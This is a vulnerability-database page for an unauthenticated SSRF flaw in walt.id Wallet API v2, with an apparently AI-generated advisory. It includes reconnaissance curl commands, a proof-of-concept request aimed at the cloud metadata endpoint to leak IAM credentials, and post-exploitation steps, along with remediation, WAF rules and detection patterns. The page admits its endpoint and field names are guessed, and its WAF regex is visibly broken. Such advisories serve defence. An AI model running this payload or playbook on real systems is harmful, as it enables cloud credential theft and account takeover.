CVE Professor
/
All CVEs
CVE-2026-142693

CVE-2026-142693 — CWE-918

HIGH CVSS 8.6 NVD

walt.id Wallet API v2 before 1.2.1 contains an unauthenticated server-side request forgery vulnerability in the resolve-offer endpoint that fetches attacker-chosen credential issuer metadata. Attackers can redirect the metadata fetch to internal hosts and read leaked response bodies in API errors, including cloud instance-role credentials.

walt.id Wallet API v2 before 1.2.1 contains an unauthenticated server-side request forgery vulnerability in the resolve-offer endpoint that fetches attacker-chosen credential issuer metadata. Attackers can redirect the metadata fetch to internal hosts and read leaked response bodies in API errors, including cloud instance-role credentials.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑142693 is a Server‑Side Request Forgery (SSRF) flaw (CWE‑918) in the walt.id Wallet API v2 (any release prior to 1.2.1).
The vulnerable endpoint is the resolve‑offer API route. The API accepts an issuer URL (or similar field) that it uses to fetch credential‑issuer metadata. The implementation:

1. Does not validate that the supplied URL is external or safe.
2. Does not enforce authentication on the endpoint – anyone can hit it.
3. Returns the raw HTTP response body in error messages, leaking whatever the internal service returns.

Because of these omissions, an attacker can point the API at any internal host (e.g., the EC2 instance‑metadata service, a local database, or a corporate intranet service) and read the response body. In cloud environments, this often includes IAM role credentials, which can be used to gain full control of the account.


⚡ Attack Chain

NOTE: The exact URI and JSON field names are not provided in the CVE text. The following example uses the most common pattern (/api/v2/resolve-offer and a field named issuer_url). If the real API differs, adapt the field names accordingly.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
Service fingerprintingcurl -I https://<target>/api/v2/resolve-offerLook for a 200/404 response and any Server: header that mentions *walt.id* or *Wallet API*.
Version enumerationcurl -s https://<target>/api/v2/version (or similar)Many APIs expose a /version endpoint. If not, try curl -s https://<target>/api/v2/ and parse the JSON for a version field.
Endpoint discoverycurl -s https://<target>/api/v2/A JSON index may list available routes.
Parameter guessSend a POST with an empty body to /api/v2/resolve-offer and observe the error message.The error may reveal the expected JSON field name (e.g., issuer_url).

2. Exploitation

The goal is to cause the API to fetch an internal URL and capture the error body that contains sensitive data.

# Example PoC – replace <target> with the real hostname/IP
curl -X POST "https://<target>/api/v2/resolve-offer" \
     -H "Content-Type: application/json" \
     -d '{
           "issuer_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
         }'

What happens:

1. The API receives the JSON payload and extracts issuer_url.
2. It performs an HTTP GET to the supplied URL.
3. The request reaches the instance‑metadata service (IMDS) and returns the IAM role name.
4. The API fails to parse the response as valid metadata and returns an error.
5. The error payload contains the raw body from the IMDS response, which includes the role name and, in many cases, the temporary security credentials (access key, secret key, session token).

Sample response (illustrative):

{
  "error": "Failed to resolve issuer metadata",
  "details": {
    "status_code": 200,
    "body": "my-iam-role\n{\"Code\":\"Success\",\"LastUpdated\":\"2026-11-30T12:34:56Z\",\"Type\":\"AWS-HMAC\",\"AccessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"SecretAccessKey\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\"Token\":\"AQoDYXdzEJr...\",\"Expiration\":\"2026-12-01T12:34:56Z\"}"
  }
}
Important: If the API does not return the raw body in the error, the attacker can still read it by triggering a 404 or other error that includes the body. The key point is that the API leaks the response content.

3. Post‑exploitation

1. Parse the leaked credentials (e.g., using jq or a simple script).
2. Use the credentials to call AWS APIs (or the relevant cloud provider) and gain full access to the account.
3. Create new IAM users, attach policies, or modify existing ones to maintain persistence.
4. Move laterally within the environment, exfiltrate data, or launch further attacks (e.g., RCE via other vulnerable services).


🌍 Real World Impact

ImpactCVSS ComponentExplanation
ConfidentialityC: HighThe attacker can read sensitive data (IAM credentials, internal host responses).
IntegrityI: NoneThe flaw does not modify data.
AvailabilityA: NoneThe flaw does not disrupt service.
AuthenticationPR: NoneNo credentials required.
User InteractionUI: NoneNo UI needed; fully automated.
ScopeS: ChangedThe vulnerability allows access to resources beyond the API itself (e.g., cloud IAM).

Practical consequences:

  • Full cloud account takeover: With the leaked IAM role credentials, an attacker can create new users, attach administrative policies, and move laterally across services.
  • Data exfiltration: Access to S3 buckets, RDS instances, or other storage.
  • Persistence: The attacker can create new roles or modify existing ones to maintain long‑term access.
  • Compliance violations: Exposure of credentials violates many security frameworks (PCI‑DSS, HIPAA, GDPR).
  • Financial loss: Unauthorized usage of cloud resources can lead to unexpected billing.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionFixed VersionUpgrade Path
    walt.id Wallet API v2 < 1.2.11.2.1 or laternpm install [email protected] (or the equivalent package manager command)
    Recommendation: Immediately upgrade to 1.2.1 or later. The patch removes the SSRF by validating the issuer URL against a whitelist of allowed domains and enforces authentication on the resolve-offer endpoint.

    2. Workarounds (if patching is delayed)

    MitigationImplementation
    Block outbound HTTP requests to internal IP rangesConfigure the API server’s network ACL or firewall to deny traffic to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.169.254.
    WAF / ModSecurity rule``<rule id="100001" phase="2" block="true" msg="SSRF attempt on resolve-offer" severity="2"> <match url="/api/v2/resolve-offer" /> <match var="REQUEST_HEADERS:Content-Type" pattern="application/json" /> <match var="REQUEST_BODY" pattern="(http://https://)(169\.254\.169\.25410\.172\.16\.192\.168\.)" /> </rule>`
    Require authenticationAdd a middleware that checks for a valid JWT or API key before processing resolve-offer.
    Input validationReject any URL that does not match a pre‑approved whitelist (e.g., https://*.trusted-issuer.com`).
    Error handlingDo not expose raw response bodies in error messages. Return a generic error string.

    3. Detection

    Log PatternIndicator of Compromise
    POST /api/v2/resolve-offer with issuer_url containing 169.254.169.254 or 10.Likely SSRF attempt
    Error responses containing AccessKeyId, SecretAccessKey, or TokenCredentials leaked
    Multiple failed requests to internal IPs within a short periodAutomated scanning or exploitation

    Sample WAF log entry (ModSecurity):

    [2026-12-03T12:00:00Z] [modsecurity] [client 203.0.113.45] [id "100001"] [msg "SSRF attempt on resolve-offer"] [uri "/api/v2/resolve-offer"] [status 403] [severity "2"] [hostname "api.example.com"] [request_body "issuer_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"]

    ⚠️ Urgency

  • CVSS Score: 8.6 (High) – indicates a serious threat with low exploitation complexity.
  • No CISA KEV status – the vulnerability is not yet in the KEV list, but that does not reduce its risk.
  • Exploit Complexity: Low (no authentication, no UI).
  • Impact: Full cloud account compromise.
Priority: Critical for any environment that uses walt.id Wallet API v2 and is deployed in a cloud environment (AWS, Azure, GCP, etc.). Action: Patch immediately; if patching cannot occur within 24 hours, apply the network‑level block or WAF rule as a temporary mitigation.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.6 / 10 · CVSS HIGH
Weakness Types (CWE)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m